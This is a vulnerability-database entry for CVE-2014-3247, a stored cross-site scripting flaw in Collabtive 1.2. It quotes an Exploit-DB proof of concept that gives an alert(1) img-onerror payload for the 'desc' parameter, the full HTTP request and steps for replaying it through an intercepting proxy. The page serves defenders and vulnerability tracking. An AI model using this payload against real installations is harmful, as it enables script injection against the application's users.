CVE-2014-3247

medium

Published 2014-05-15 · Modified 2026-05-06

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

5.3

Description

Cross-site scripting (XSS) vulnerability in Collabtive 1.2 allows remote authenticated users to inject arbitrary web script or HTML via the desc parameter in an Add project (addpro) action to admin.php.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-33250 webapps php verified text · 2 KB

Deepak Rathore · 2014-05-08

Collabtive 1.2 - Persistent Cross-Site Scripting

text exploit Source: Exploit-DB

Vulnerability title: Stored XSS vulnerability in Collabtive application
(CVE-2014-3247)
CVE: CVE-2014-3247(coordinated with cve assigning team and vendor)
Vendor: Collabtive
Product: Collabtive (Open Source Project Management Software)
Affected version: 1.12
Fixed version: 2.0
Reported by: Deepak Rathore
Severity: Critical
URL: http://[domain]/collabtive-12/admin.php?action=addpro
Affected Users: Authenticated users
Affected parameter(s): desc

Issue details: The value of the desc request parameter is copied into the
HTML document as plain text between tags. The payload 1c91c<img%20src%3da
%20onerror%3dalert(1) >cc245622da6 was submitted in the desc parameter.
This input was echoed as 1c91c<img src=a onerror=alert(1) >cc245622da6 in
the application's response.  This proof-of-concept attack demonstrates that
it is possible to inject arbitrary JavaScript into the application's
response. The proof-of-concept attack demonstrated uses an event handler to
introduce arbitrary JavaScript into the document.

HTTP request:
POST /collabtive-12/admin.php?action=addpro HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101
Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/collabtive-12/index.php?mode=login
Cookie: PHPSESSID=ri2sqmga763p7qav73enfv99p5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
name=test&desc=test928a4<img%20src%3da%20onerror%3dalert(1)>a480a723950&neverdue=neverdue&budget=10&assignto%5B%5D=1&assignme=1

Steps to replicate:
1. Login into application
2. Go to "Desktop" tab and click on "Add project"
3. Fill the project details in the project form and click on "Add" button
4. Intercept request by interception proxy i.e. OWASP Zap, Burp Suite etc
5. Replace "desc" parameter value with "1c91c<img%20src%3da
%20onerror%3dalert(1) >cc245622da6"
6. Forward manipulated request to server and wait for response in browser
7. A popup with alert message will come that is the proof of vulnerability.

Tools used: Burp Suite proxy, Mozilla Firefox browser

Best Regards,
Deepak

Application impact

Vendor	Product	Versions	Fixed
o-dyn	collabtive	`1.2`

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.